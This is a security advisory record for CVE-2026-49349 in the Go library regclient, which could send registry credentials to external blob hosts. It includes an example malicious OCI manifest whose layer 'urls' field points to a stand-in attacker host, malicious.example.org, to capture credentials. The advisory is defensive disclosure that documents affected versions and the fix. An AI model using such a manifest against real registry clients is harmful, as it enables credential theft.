GHSA-QVQC-4C52-X6QP
Vulnerability from github – Published: 2026-06-26 22:43 – Updated: 2026-06-26 22:43Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
- 2026-05-25: Advisory submitted
- 2026-05-26: Fix released
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.11.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/regclient/regclient"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.11.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49349"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:43:31Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.\n\n## Example attack\n\nA malicious registry serves an OCI image manifest containing a layer descriptor with a `urls` field pointing to an attacker controlled host:\n\n```json\n{\n \"mediaType\": \"application/vnd.oci.image.layer.v1.tar+gzip\",\n \"digest\": \"sha256:...\",\n \"size\": 1024,\n \"urls\": [\"https://malicious.example.org/blobs/sha256/...\"]\n}\n```\n\nWhen regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.\n\n## Timeline\n\n- 2026-05-25: Advisory submitted\n- 2026-05-26: Fix released\n\n## Credit\n\nTheodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security",
"id": "GHSA-qvqc-4c52-x6qp",
"modified": "2026-06-26T22:43:31Z",
"published": "2026-06-26T22:43:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/regclient/regclient/security/advisories/GHSA-qvqc-4c52-x6qp"
},
{
"type": "PACKAGE",
"url": "https://github.com/regclient/regclient"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "regclient may leak authentication credentials to external blob stores"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.